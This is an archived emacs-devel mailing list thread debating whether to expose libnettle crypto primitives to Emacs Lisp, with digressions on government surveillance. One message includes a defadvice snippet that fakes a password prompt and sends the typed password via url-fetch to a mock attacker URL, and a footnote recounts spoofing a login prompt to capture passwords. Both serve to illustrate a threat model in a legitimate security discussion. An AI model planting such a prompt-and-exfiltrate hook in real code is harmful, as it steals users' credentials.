relevant question because that's what you're proposing to do with
Emacs Lisp.

 > DU> I don't think you can provide the same level of security using
 > DU> encryption primitives within Emacs.
 > 
 > Not currently, sure.  But at this point you're the one arguing
 > hypotheticals.

Not at all.  The presence of those primitives is an attractive
nuisance, encouraging security neophytes to roll-their-own authn/authz/
crypto systems.  If you want horror stories, there are plenty archived
at the RISKS forum and on CERT.  Statistically speaking, availability
of these functions will mean somebody *will* get screwed by a self-
injected security bug.

Of course, to some extent so is EPG/GPG doing so.  The question is to
what degree is each approach providing end-to-end security.  The folks
at GPG clearly believe that the single external applications is the more
secure approach, because they deliberately made changes to encourage
that.  The arguments I've heard against that approach all boil down to
"PITA", but we already knew that.  Security *necessarily* is a PITA.

 > SJT> Stupid, no, but there's a lot of evidence that they are ignorant
 > SJT> (including many developers incorporating security features in their
 > SJT> products), and that even experienced experts are oversight- and even
 > SJT> mistake-prone in this area.  Do you claim that that evidence is no
 > SJT> longer relevant?
 > 
 > I don't think you can justify taking away the freedom to choose because
 > it might be misused.

I'm not suggesting taking away anything that users already have.  I am
supporting Stefan's reluctance to install a new attractive nuisance
because of future maintenance costs, and that *despite* being an
advocate of users' freedom to choose.  It's not because I don't value
freedom, incuding freedom to choose.

 > DU> I don't get it.  Are there any platforms where Emacs work, while GPG
 > DU> does not?
 > 
 > Please don't turn my point into a debate about why can't I "just use
 > GnuPG."  I'm asking to have a choice.

Emacs doesn't have to provide it, though.  Lots of users have wanted
the choice to load DSOs from since around 2000, and that was denied
*in principle* for over a decade.

Installing bindings for libnettle isn't a matter of principle, it's a
matter of expedience, but still Emacs is under no obligation to give
you a choice that it thinks most users would refuse to use if they
were aware of the issues.

 > If only there were experts among us and I would allow my code to be
 > reviewed!

There are experts (both Daiki and Paul E claim to be such, at least
relative to you and me).  But shouldn't they have the freedom to
choose to *not* waste time on reviewing code that is (IMHO, YM
obviously Vs, etc, etc) a colossal mistake to install in the first
place?  Plus having to review the *uses* by Elisp developers?

Re: Wherein I argue for the inclusion of libnettle in Emacs 24.5

[Ted Zlatanov]

On Thu, 06 Feb 2014 14:03:56 +0900 "Stephen J. Turnbull" <stephen@xemacs.org> wrote: 

SJT> Ted Zlatanov writes:
SJT> Not relevant in the sense that it could be done with an anonymous
SJT> popup that says it's from Emacs, too.
>> 
>> The minibuffer is much harder to fake than a popup.

SJT> Sez you.  Sez me:

SJT> (defadvice find-file (before)
SJT>   (if (= (random 1000) 42)
SJT>       (url-fetch (format "http://blackh.at/gotcherpasswordSUCKER?passwd=%s"
SJT>                          (read-passwd "Encrypted file.  Type your password:"))))

SJT> Note that it doesn't matter which library on load-path contains the
SJT> defadvice.  Great security model you got there.

I'm talking about an application other than Emacs stealing the
passphrase, as it can be done for the GnuPG agent popup.  Inside Emacs,
there would have to be a passphrase popup in the minibuffer or elsewhere
that can't be faked from ELisp but must come from the "secure core."

>> It doesn't have to be an exclusive choice, and I'm not asking anyone to
>> do the work on either side.

SJT> Yes, you are.  You are asking Emacs to maintain it, in a form that
SJT> Stefan would prefer *not* to install it, for a period likely to be
SJT> decades.  This is the root of Stefan's reluctance, I suppose.

He explained his objections earlier: against OpenPGP implementation,
prefers FFI, needs use cases.

>> qmail and Postfix are system applications that run as daemons.
>> Completely different from Emacs.  Emacs is more like Firefox or Chrome
>> with their embedded Javascript engines and layout renderers, as Lars
>> pointed out.  Those applications tend to use the platform's keychain
>> facilities and do the crypto work internally.

SJT> As applications, yes.  But who cares?  Try, "do they expose the crypto
SJT> facilities to users of their platform (eg, Javascript)?"  That's the
SJT> relevant question because that's what you're proposing to do with
SJT> Emacs Lisp.

Well, the Java VMs expose javax.crypto...  The analogy falls apart since
Emacs is unique, but typically you can install plugins (e.g. the Firefox
Foxmarks extension or the Chrome Hola extension) that manage some aspect
of security for you using core facilities.  The user has to grant
privileges to those plugins, though.

SJT> Not at all.  The presence of those primitives is an attractive
SJT> nuisance, encouraging security neophytes to roll-their-own authn/authz/
SJT> crypto systems.  If you want horror stories, there are plenty archived
SJT> at the RISKS forum and on CERT.  Statistically speaking, availability
SJT> of these functions will mean somebody *will* get screwed by a self-
SJT> injected security bug.

I can't debate what could happen, that's what "hypothetical" means.

Emacs has historically encouraged experimentation and non-Enterprisey
authors and software.  I find this whole discussion baffling, honestly.
Every possible scarecrow was brought out dangling on a slippery slope to
justify blocking work that might be done with some primitives from a
library we already include.

SJT> Security *necessarily* is a PITA.

That's a broad overgeneralization I can't even start to debate, but it's
definitely not true in many cases.

>> Please don't turn my point into a debate about why can't I "just use
>> GnuPG."  I'm asking to have a choice.

SJT> Emacs doesn't have to provide it, though.  Lots of users have wanted
SJT> the choice to load DSOs from since around 2000, and that was denied
SJT> *in principle* for over a decade.

We're talking about extending the imports from GnuTLS, which is already
in the core, not something actually new to Emacs.

In the past Emacs has rejected functionality because it was against the
goals of the FSF and the GNU project, not because it was deemed
amateurish.  At least that's my recollection since 2000 or so, when I
started reading emacs-devel and contributing to Emacs.

SJT> There are experts (both Daiki and Paul E claim to be such, at least
SJT> relative to you and me).  But shouldn't they have the freedom to
SJT> choose to *not* waste time on reviewing code that is (IMHO, YM
SJT> obviously Vs, etc, etc) a colossal mistake to install in the first
SJT> place?  Plus having to review the *uses* by Elisp developers?

Right, right.  Like I said...

Ted

Re: Wherein I argue for the inclusion of libnettle in Emacs 24.5

[Stefan Monnier]

> He explained his objections earlier: against OpenPGP implementation,
> prefers FFI, needs use cases.

Good summary, indeed, thank you.

> In the past Emacs has rejected functionality because it was against the
> goals of the FSF and the GNU project, not because it was deemed
> amateurish.

We do try to keep the core maintainable, which implies trying to keep
"amateurish" code out of it.  It also implies not adding stuff to it just
so someone can play around with that new feature (tho it does happen,
since it's always difficult to predict precisely how features will be
used).

But indeed, Elisp allows "amateurish" code, and we're happy to make it
possible for amateurs to write their own code and get something useful
from it.  We all have to start somewhere.


        Stefan

Re: Wherein I argue for the inclusion of libnettle in Emacs 24.5

[Ted Zlatanov]

On Thu, 06 Feb 2014 08:03:25 -0500 Stefan Monnier <monnier@iro.umontreal.ca> wrote: 

>> He explained his objections earlier: against OpenPGP implementation,
>> prefers FFI, needs use cases.

SM> Good summary, indeed, thank you.

I promise I won't try to implement OpenPGP in the core.  I may write an
ELPA package to do it.  I may try to create "secret" strings in the
core, but I wouldn't even contemplate doing it without prior discussion
and review.

We have several use cases now, not just from me, posted in this thread.

I believe tight integration (at the C level, without FFI) will make
exploits against the encryption primitives less likely and will make
them more robust.  I'm asking you to consider that GnuTLS might be a
valid exception to the general move to FFI because it's a facility, not
a feature.

>> In the past Emacs has rejected functionality because it was against the
>> goals of the FSF and the GNU project, not because it was deemed
>> amateurish.

SM> We do try to keep the core maintainable, which implies trying to keep
SM> "amateurish" code out of it.  It also implies not adding stuff to it just
SM> so someone can play around with that new feature (tho it does happen,
SM> since it's always difficult to predict precisely how features will be
SM> used).

Right, I understand and sympathize.

I am asking for an exception, with the understanding that it won't
justify others, and with the justification that it's adding primitives
from a library we already include, because I think it will benefit users
and developers in the long run.

SM> But indeed, Elisp allows "amateurish" code, and we're happy to make it
SM> possible for amateurs to write their own code and get something useful
SM> from it.  We all have to start somewhere.

Yes.  In addition to the FSF and GNU goals, this creative freedom is
what makes Emacs great, IMHO.

Ted

Re: Wherein I argue for the inclusion of libnettle in Emacs 24.5

[Stephen J. Turnbull]

Ted Zlatanov writes:

 > Inside Emacs, there would have to be a passphrase popup in the
 > minibuffer or elsewhere that can't be faked from ELisp but must
 > come from the "secure core."

Ted, there is no "secure core" in an Emacs Lisp application.  That was
the main point of the defadvice.  If *your* Lisp program can invoke a
password popup, so can *my* sleazebag defadvice.

 > SJT> As applications, yes.  But who cares?  Try, "do they expose the crypto
 > SJT> facilities to users of their platform (eg, Javascript)?"
 > 
 > Well, the Java VMs expose javax.crypto...

If that's analogous to libnettle, that's good enough for me for this
particular analogy.  (I'll take your word for it.)

 > SJT> Not at all.  The presence of those primitives is an attractive
 > SJT> nuisance, encouraging security neophytes to roll-their-own authn/authz/
 > SJT> crypto systems.  If you want horror stories, there are plenty archived
 > SJT> at the RISKS forum and on CERT.  Statistically speaking, availability
 > SJT> of these functions will mean somebody *will* get screwed by a self-
 > SJT> injected security bug.
 > 
 > I can't debate what could happen, that's what "hypothetical" means.

Security is all about what *could* happen if you're not careful.  If
you aren't already thinking carefully about that, I don't understand
why you're doing this!

Re: Wherein I argue for the inclusion of libnettle in Emacs 24.5

[Ted Zlatanov]

On Fri, 07 Feb 2014 00:05:06 +0900 "Stephen J. Turnbull" <stephen@xemacs.org> wrote: 

SJT> Ted Zlatanov writes:
>> Inside Emacs, there would have to be a passphrase popup in the
>> minibuffer or elsewhere that can't be faked from ELisp but must
>> come from the "secure core."

SJT> Ted, there is no "secure core" in an Emacs Lisp application.  That was
SJT> the main point of the defadvice.  If *your* Lisp program can invoke a
SJT> password popup, so can *my* sleazebag defadvice.

Yes, that would be an attack target internally, obviously.  But a) I was
originally talking about how calling out to external programs makes it
hard to tell if the popup is authentic or not[1]; and b) this needs work
and discussion, but I think it's a valuable use case.

What do you think happens when you open a .gpg file using GnuPG
externally, even disregarding the OS channels traveled?  That data is
certainly not safe from defadvice.  I try to protect passwords in
auth-source by wrapping them in closures; EPA/EPG simply throws the data
into a buffer.  This is *not* saying the EPA/EPG design is bad, only
that Emacs as a whole could use a way to hide "data not intended for
direct user inspection" better, and provide for a "tainting" trace of
data (to use the Perl term).  For special files like authinfo.gpg, you
certainly don't need the whole file in memory just to grab one line.

SJT> Not at all.  The presence of those primitives is an attractive
SJT> nuisance, encouraging security neophytes to roll-their-own authn/authz/
SJT> crypto systems.  If you want horror stories, there are plenty archived
SJT> at the RISKS forum and on CERT.  Statistically speaking, availability
SJT> of these functions will mean somebody *will* get screwed by a self-
SJT> injected security bug.
>> 
>> I can't debate what could happen, that's what "hypothetical" means.

SJT> Security is all about what *could* happen if you're not careful.  If
SJT> you aren't already thinking carefully about that, I don't understand
SJT> why you're doing this!

OK then, let's hypothesize.  I don't think the presence of these
primitives will make the situation worse by flooding us with badly
implemented crypto.  I may be wrong, but it just doesn't seem likely.
One of the things you learn from RISKS is that generally, things tend to
work out all right as long as the source code is open and
vulnerabilities are disclosed quickly.

Realistically speaking, attacks against Emacs are extremely unlikely
unless specific people are targeted.  The user population is too small.
We also don't generally have anything all that secret or precious stored
in Emacs (except RMS, who has a million Bitcoins and is the real Satoshi
Nakamoto, you heard it here first).  So I think comparing the risks of
what I'm proposing to, say, bank databases or airplane software is a bit
ambitious.

Ted

[1] One of my first tasks as a sysadmin, many years ago on AIX, was to
stop some attackers with internal access.  They had set up a login
system that decrypted some special files with a password and wiped them
clean on logout.  Their encryption password, for technical and practical
reasons, was the fastest way to stop them completely.  So I simply made
a prompt that looked the same as the normal one, grabbed their password,
and told them "wrong password, reenter please."  It then wiped itself
out of their login files.

Re: Wherein I argue for the inclusion of libnettle in Emacs 24.5

[Stephen J. Turnbull]

Ted Zlatanov writes:

 > What do you think happens when you open a .gpg file using GnuPG
 > externally, even disregarding the OS channels traveled?  That data is
 > certainly not safe from defadvice.

Of course it isn't.  It's not my claim that GnuPG is clearly more
secure than doing it internally, it's that doing it internally can
only be more secure if GnuPG is more buggy than your code + user code,
and I find that highly unlikely.

 > into a buffer.  This is *not* saying the EPA/EPG design is bad, only
 > that Emacs as a whole could use a way to hide "data not intended for
 > direct user inspection" better, and provide for a "tainting" trace of
 > data (to use the Perl term).

Sure, it could use those facilities, but it doesn't have them, and
providing them will require completely redesigning internals.

Note that this is not do deny that you can get that security for
*specific* functions using libnettle *if you write them in C*.  What
I'm saying is that exposing them to Lisp means exposing them to Lisp,
and as Emacs is currently composed, that's a security oops assuming
an attack with enough access to pop up a Trojan Horse password havester.

 > OK then, let's hypothesize.  I don't think the presence of these
 > primitives will make the situation worse by flooding us with badly
 > implemented crypto.

I don't think it will be a flood.  I think that it is a hanging noose
that will strangle a trickle of users every day for the indefinite
future, and I don't see a corresponding benefit to outweigh that and
the issues that Stefan raises.

 > Realistically speaking, attacks against Emacs are extremely unlikely
 > unless specific people are targeted.

Exactly.

Re: Wherein I argue for the inclusion of libnettle in Emacs 24.5

[David Kastrup]

"Stephen J. Turnbull" <stephen@xemacs.org> writes:

> Ted Zlatanov writes:
>
>  > Realistically speaking, attacks against Emacs are extremely unlikely
>  > unless specific people are targeted.
>
> Exactly.

    Section 215 of the Patriot Act allows the FBI to order any person or
    entity to turn over "any tangible things," so long as the FBI
    "specif[ies]" that the order is "for an authorized investigation
    . . . to protect against international terrorism or clandestine
    intelligence activities."

This is what the _NSA_ uses as justification for a drag net collection
of the complete Internet traffic without authorization or an ongoing
investigation.

Now in several lawsuits, the EFF has been pictured as an anti-American
organization that is easily closer associated with international
terrorism as the average American, and the average American is
associated enough with international terrorism (probably because he
voted for a government using drone strikes against Yemen marriage
parties and similar on the ground of sovereign countries) to warrant an
"authorized investigation" into his communication.

As the EFF has probably a significant penetration of Emacs users, it
would be negligent of the NSA to ignore low-hanging fruit like that.

Seriously: the most relevant enemy of private communication nowadays is
the U.S. government, followed by other governments.  Emacs users tend to
have some loose correlation to people who care about politics, and thus
are suspicious.

While the GNU project focuses on not having people screwed over the
government's idea of copyright applied on software, that does not mean
that we should make it easier for the government to screw over the
people over other travesties of rights that would have been unthinkable
to the republic's founders.

Of course, the U.S. is not alone in trying to disown their citizens, but
they do take a leadership role currently.

-- 
David Kastrup

Re: Wherein I argue for the inclusion of libnettle in Emacs 24.5

[Stephen J. Turnbull]

David Kastrup writes:
 > "Stephen J. Turnbull" <stephen@xemacs.org> writes:
 > 
 > > Ted Zlatanov writes:
 > >
 > >  > Realistically speaking, attacks against Emacs are extremely unlikely
 > >  > unless specific people are targeted.
 > >
 > > Exactly.
 > 
 >     Section 215 of the Patriot Act allows the FBI to order any person or
 >     entity to turn over "any tangible things," so long as the FBI
 >     "specif[ies]" that the order is "for an authorized investigation
 >     . . . to protect against international terrorism or clandestine
 >     intelligence activities."

That order means that not only do you have to turn over the drive, you
also have to give them the passphrases or PGP keys (as with GPLv3).
So it's irrelevant to this thread, which is about mechanisms to make
wiretapping less useful.

See also http://www.jwz.org/rba-rip.html for more information about
the defenses you don't have against a subpoena in the U.S.

Re: Wherein I argue for the inclusion of libnettle in Emacs 24.5

[David Kastrup]

"Stephen J. Turnbull" <stephen@xemacs.org> writes:

> David Kastrup writes:
>  > "Stephen J. Turnbull" <stephen@xemacs.org> writes:
>  > 
>  > > Ted Zlatanov writes:
>  > >
>  > >  > Realistically speaking, attacks against Emacs are extremely unlikely
>  > >  > unless specific people are targeted.
>  > >
>  > > Exactly.
>  > 
>  >     Section 215 of the Patriot Act allows the FBI to order any person or
>  >     entity to turn over "any tangible things," so long as the FBI
>  >     "specif[ies]" that the order is "for an authorized investigation
>  >     . . . to protect against international terrorism or clandestine
>  >     intelligence activities."
>
> That order means that not only do you have to turn over the drive, you
> also have to give them the passphrases or PGP keys (as with GPLv3).
> So it's irrelevant to this thread, which is about mechanisms to make
> wiretapping less useful.

Oh, but we are not talking about what this section is _intended_ to
authorize (its own author is trying to gather support for shutting down
its widely overreaching abuse) but rather what it is being used as an
excuse for.

And since it is easiest to overstep authority if nobody notices or is
allowed to take notice, the main overreach in practice is clandestine
eavesdropping using generic tools that can be employed without requiring
billable hours by specialists for particular cases.

> See also http://www.jwz.org/rba-rip.html for more information about
> the defenses you don't have against a subpoena in the U.S.

But at least you'll know of them.

<URL:http://www.bartleby.com/73/1593.html>
QUOTATION:
  “Well, Doctor, what have we got—a Republic or a Monarchy?”

  “A Republic, if you can keep it.”

ATTRIBUTION: The response is attributed to BENJAMIN FRANKLIN—at the
  close of the Constitutional Convention of 1787, when queried as he
  left Independence Hall on the final day of deliberation—in the notes
  of Dr. James McHenry, one of Maryland’s delegates to the Convention.


When Obama hands over office, he'll be able to answer to his successor's
question

    "Well, Doctor, what are you leaving us with?"

with pride

   "An Orwellian police and surveillance state with corporate interests
   lining your pockets for exploiting an apathetic populace, if you can
   keep it."

Mind you, he's been standing on the shoulders of giants.  Carthage was
not razed in a day.

-- 
David Kastrup

Re: Wherein I argue for the inclusion of libnettle in Emacs 24.5

[Daiki Ueno]

Ted Zlatanov <tzz@lifelogs.com> writes:

> What do you think happens when you open a .gpg file using GnuPG
> externally, even disregarding the OS channels traveled?  That data is
> certainly not safe from defadvice.

Didn't I ever say:

- Once an attacker successfully takes over your desktop session, he can
  do almost everything.  We can't do much on that situation.  Why don't
  you lock the screen before leaving?

- More possible threat is inspecting persistent data (e.g. core files on
  a disk attached to a stolen note PC).  GnuPG is designed to be secure
  against this, using "secure core".

- On the other hand, Emacs copies small strings around.  If passwords
  (normally not too long) are managed poorly in Emacs, they might appear
  repeatedly in a core file, when it crashes.

> Emacs as a whole could use a way to hide "data not intended for direct
> user inspection" better, and provide for a "tainting" trace of data
> (to use the Perl term).

Interesting.  Any prior art on that area?  I haven't heard the word
"tainting" used in that way.  Isn't it for preventing untrusted data
being injected to, say, SQL?
--
Daiki Ueno

Re: Wherein I argue for the inclusion of libnettle in Emacs 24.5

[Stephen J. Turnbull]

David Kastrup writes:
 > "Stephen J. Turnbull" <stephen@xemacs.org> writes:

 > > That order means that not only do you have to turn over the drive, you
 > > also have to give them the passphrases or PGP keys (as with GPLv3).
 > > So it's irrelevant to this thread, which is about mechanisms to make
 > > wiretapping less useful.
 > 
 > Oh, but we are not talking about what this section is _intended_ to
 > authorize (its own author is trying to gather support for shutting down
 > its widely overreaching abuse) but rather what it is being used as an
 > excuse for.
 > 
 > And since it is easiest to overstep authority if nobody notices or is
 > allowed to take notice, the main overreach in practice is clandestine
 > eavesdropping using generic tools that can be employed without requiring
 > billable hours by specialists for particular cases.

In case you hadn't noticed, we're in violent agreement on that last
point.

My point in this thread is that I think there is good reason to
believe that availability of the "facilities"[1] Ted proposes is
likely to make it *easier* for the FBI/NSA to snoop on some people who
are *trying* as hard as they know how to be secure, while not really
improving available security over the status quo for anybody.

That leaves us with the "if I can make security less of a PITA, more
people will try to be secure" argument, but I don't think it's strong
enough to override Stefan's objections.

 > Mind you, he's been standing on the shoulders of giants.  Carthage was
 > not razed in a day.

Yeah, I know, I know.  I give him credit for *being* black[2], but it
would seem that he's never had to live in fear of the cops the way my
black highschool classmates did. :-(


Footnotes: 
[1]  What's the difference between a "facility" and a "feature"?

[2]  Yeah, I know it's bigoted but I still have a soft spot in my
heart for members of "oppressed minorities" who make it to the top
in spite of the glass ceiling.

Re: Wherein I argue for the inclusion of libnettle in Emacs 24.5

[David Kastrup]

"Stephen J. Turnbull" <stephen@xemacs.org> writes:

> David Kastrup writes:
>
>  > And since it is easiest to overstep authority if nobody notices or is
>  > allowed to take notice, the main overreach in practice is clandestine
>  > eavesdropping using generic tools that can be employed without requiring
>  > billable hours by specialists for particular cases.
>
> In case you hadn't noticed, we're in violent agreement on that last
> point.
>
> My point in this thread is that I think there is good reason to
> believe that availability of the "facilities"[1] Ted proposes is
> likely to make it *easier* for the FBI/NSA to snoop on some people who
> are *trying* as hard as they know how to be secure, while not really
> improving available security over the status quo for anybody.

General availability of facility is making dragnet snooping more
expensive.  More expense means it becomes harder to hide and justify.
Nobody will likely be able to withstand a focused intense effort of law
enforcement for arbitrary amounts of time.
<URL:http://xkcd.com/538/>

But that's not the point of a surveillance state.  The point of a
surveillance state is to proactively collect the dirt on everyone.

The U.S.A. is almost broke, and diverting large parts of its national
budget towards eroding privacy and civil liberties plays a significant
part with that.  Making it more expensive to run a surveillance state
might be what it takes.

>  > Mind you, he's been standing on the shoulders of giants.  Carthage
>  > was not razed in a day.
>
> Yeah, I know, I know.  I give him credit for *being* black[2], but it
> would seem that he's never had to live in fear of the cops the way my
> black highschool classmates did. :-(
>
> [2]  Yeah, I know it's bigoted but I still have a soft spot in my
> heart for members of "oppressed minorities" who make it to the top
> in spite of the glass ceiling.

If you want to think in terms of racial stereotypes, he seems to fit
better in the Mugabe administration than marching with Martin Luther
King.

At any rate, I disagree with your statement "it would seem that he's
never had to live in fear of the cops the way my black highschool
classmates did. :-(".  How else would an ingrained fear of getting
beaten up by the heavyweights express itself in politics?  "I'll save my
own hide, let all the rest be damned." is the current cornerstone of
U.S. interior and foreign policies and yes, that's a choice consistent
with fear.

Pete Seeger died, and the old "And before I'd be a slave, I'll be buried
in my grave, and go home, to my Lord, and be free." spiritual he
popularized during the civil rights era is buried along with him.

The only effective weapon one has against tyranny is numbers.  If enough
people say "no more snooping over me" and use effective encryption
habitually, it becomes too expensive to target every one.

-- 
David Kastrup

Re: Wherein I argue for the inclusion of libnettle in Emacs 24.5

[Ted Zlatanov]

On Fri, 07 Feb 2014 18:07:35 +0900 Daiki Ueno <ueno@gnu.org> wrote: 

DU> Ted Zlatanov <tzz@lifelogs.com> writes:
>> What do you think happens when you open a .gpg file using GnuPG
>> externally, even disregarding the OS channels traveled?  That data is
>> certainly not safe from defadvice.

DU> Didn't I ever say:

DU> - Once an attacker successfully takes over your desktop session, he can
DU>   do almost everything.  We can't do much on that situation.  Why don't
DU>   you lock the screen before leaving?

We could at least try to process data in a place where ELisp can't
access it.

DU> - More possible threat is inspecting persistent data (e.g. core files on
DU>   a disk attached to a stolen note PC).  GnuPG is designed to be secure
DU>   against this, using "secure core".

I don't agree with the EPA/EPG coupling to GnuPG but admire the design
of both sides.  GnuPG is a great program that, due to the client/agent
design, is hard to use securely as an API.  As proof, consider the Java
libraries to implement OpenPGP internally (BouncyCastle).  Similar
situation in Go (http://godoc.org/code.google.com/p/go.crypto/openpgp).

Is Emacs so different from those platforms, given applications like Gnus
and Magit and eww?

DU> - On the other hand, Emacs copies small strings around.  If passwords
DU>   (normally not too long) are managed poorly in Emacs, they might appear
DU>   repeatedly in a core file, when it crashes.

Right, regardless of EPA/EPG's behavior, you *still* need passwords in
the clear to open an IMAP connection, for instance.  I feel that, unless
we wish to blame the user for not locking their desktop, Emacs should at
least try to protect such passwords in its own "secure core."  It's
surely possible and, I honestly believe, a worthy goal.  I think for
that goal to happen *some day* we need the crypto primitives
GnuTLS/libnettle/libhogweed provide, so we don't have to write our own.

>> Emacs as a whole could use a way to hide "data not intended for direct
>> user inspection" better, and provide for a "tainting" trace of data
>> (to use the Perl term).

DU> Interesting.  Any prior art on that area?  I haven't heard the word
DU> "tainting" used in that way.  Isn't it for preventing untrusted data
DU> being injected to, say, SQL?

Here I meant it in the sense of "knowing when a data token has been
touched by a Lisp function" with the assumption that Lisp code is
inherently unsafe.

(Perl's "taint" traces data obtained externally.  It's remarkable
because it imposes some security on top of a very liberal language, a
lot like Lisp in fact.  See http://perldoc.perl.org/perlsec.html for
further details.)

Ted

Re: Wherein I argue for the inclusion of libnettle in Emacs 24.5

[Ted Zlatanov]

On Fri, 07 Feb 2014 19:00:52 +0900 "Stephen J. Turnbull" <stephen@xemacs.org> wrote: 

SJT> [1]  What's the difference between a "facility" and a "feature"?

I'm not telling.

Ted

Re: Wherein I argue for the inclusion of libnettle in Emacs 24.5

[Stephen J. Turnbull]

David Kastrup writes:

 > "I'll save my own hide, let all the rest be damned." is the current
 > cornerstone of U.S. interior and foreign policies and yes, that's a
 > choice consistent with fear.

I disagree with your analysis.  AFAICS, U.S. interior and foreign
policy is driven by a desire to keep the U.S. electorate from
panicking in the face of terrorism on U.S. soil (which is bad for
their ability to work and consume).  Its flaw (as an implementation)
is that designed on the basis of a naive extrapolation of conventional
policing technology designed for dealing with bar brawls and burglars.

I mention that only because it is similar to the issue that I have
with Ted's proposal -- I see a naive belief that brandishing a bigger
stick at problems is going to make them go away, even if that stick is
flawed and liable to fracture in actual use.

AFAICS these features don't give us anything that GPG doesn't from the
point of view of encrypted email, and their effect on security from
attackers capable of exploiting the "loose coupling" of GPG-based
features (ie, attackers with direct access to your desktop) is
ambiguous at best.  My estimate is that use of these tools (or of
programs received from others using these tools) actually is likely to
leave users more vulnerable than if they used EPG.  I've seen no
analysis that suggests otherwise, just muttering about "tight coupling
is good in security" (whatever that might actually mean).

What's left is that Ted wants a bright! shiny! toy whose benefits to
users seem vaporous at best, and I don't think that's enough to
overcome Stefan's objections *on other grounds* to the particular
implementation (most important, not via a generic FFI).

Re: Wherein I argue for the inclusion of libnettle in Emacs 24.5

[Ted Zlatanov]

On Sat, 08 Feb 2014 05:43:46 +0900 "Stephen J. Turnbull" <stephen@xemacs.org> wrote: 

SJT> just muttering about "tight coupling is good in security" (whatever
SJT> that might actually mean).

It's all about sex.

Ted

Re: Wherein I argue for the inclusion of libnettle in Emacs 24.5

[Stephen J. Turnbull]

Ted Zlatanov writes:
 > On Sat, 08 Feb 2014 05:43:46 +0900 "Stephen J. Turnbull" <stephen@xemacs.org> wrote: 
 > 
 > SJT> just muttering about "tight coupling is good in security" (whatever
 > SJT> that might actually mean).
 > 
 > It's all about sex.

Apparently not:

$ grep -i coupl sex.6
$

Re: Wherein I argue for the inclusion of libnettle in Emacs 24.5

[Daiki Ueno]

Ted Zlatanov <tzz@lifelogs.com> writes:

> design, is hard to use securely as an API.  As proof, consider the Java
> libraries to implement OpenPGP internally (BouncyCastle).  Similar
> situation in Go (http://godoc.org/code.google.com/p/go.crypto/openpgp).
>
> Is Emacs so different from those platforms, given applications like Gnus
> and Magit and eww?

Isn't it because those platforms provide more advanced memory management
mechanisms than Emacs?

> DU> - On the other hand, Emacs copies small strings around.  If passwords
> DU>   (normally not too long) are managed poorly in Emacs, they might appear
> DU>   repeatedly in a core file, when it crashes.
>
> Right, regardless of EPA/EPG's behavior, you *still* need passwords in
> the clear to open an IMAP connection, for instance.

I didn't mean one-time use of password like that.  I was talking about
the risk of keeping passwords in Emacs memory for a long time, as string
copy also happens in GC.

> I feel that, unless we wish to blame the user for not locking their
> desktop, Emacs should at least try to protect such passwords in its
> own "secure core."  It's surely possible and, I honestly believe, a
> worthy goal.  I think for that goal to happen *some day* we need the
> crypto primitives GnuTLS/libnettle/libhogweed provide, so we don't
> have to write our own.

Elisp access to crypto primitives doesn't help this either.  It must be
entirely written in C then, including IMAP protocol support.

By the way, speaking of IMAP, SASL-based authentication is currently
written in Elisp here and there.  Perhaps it could be rewritten with
libgsasl?  I think this is a concrete use-case, much convincing than
Elisp access to crypto primitives.
-- 
Daiki Ueno

Re: Wherein I argue for the inclusion of libnettle in Emacs 24.5

[Ted Zlatanov]

On Sat, 08 Feb 2014 17:11:41 +0900 Daiki Ueno <ueno@gnu.org> wrote: 

DU> Ted Zlatanov <tzz@lifelogs.com> writes:
>> design, is hard to use securely as an API.  As proof, consider the Java
>> libraries to implement OpenPGP internally (BouncyCastle).  Similar
>> situation in Go (http://godoc.org/code.google.com/p/go.crypto/openpgp).
>> 
>> Is Emacs so different from those platforms, given applications like Gnus
>> and Magit and eww?

DU> Isn't it because those platforms provide more advanced memory management
DU> mechanisms than Emacs?

I think it's for more practical reasons, like "we don't want to force
our user base to use GnuPG because it doesn't work for everyone."
That's my guess.

DU> I was talking about the risk of keeping passwords in Emacs memory
DU> for a long time, as string copy also happens in GC.

OK.

>> I feel that, unless we wish to blame the user for not locking their
>> desktop, Emacs should at least try to protect such passwords in its
>> own "secure core."  It's surely possible and, I honestly believe, a
>> worthy goal.  I think for that goal to happen *some day* we need the
>> crypto primitives GnuTLS/libnettle/libhogweed provide, so we don't
>> have to write our own.

DU> Elisp access to crypto primitives doesn't help this either.  It must be
DU> entirely written in C then, including IMAP protocol support.

I agree that the solution must be comprehensive and I mentioned ELisp
access could be considered a "tainting" of the secret data.  I don't
think ELisp access to the crypto primitives is required, but for ERT
testing for instance it could be allowed with an explicit command-line
option.

DU> By the way, speaking of IMAP, SASL-based authentication is currently
DU> written in Elisp here and there.  Perhaps it could be rewritten with
DU> libgsasl?  I think this is a concrete use-case, much convincing than
DU> Elisp access to crypto primitives.

I think that would be good and doing it through FFI would be a good use
of that facility, when it's available.  I would assume the
lisp/net/sasl.el you wrote is the natural integration point.

Ted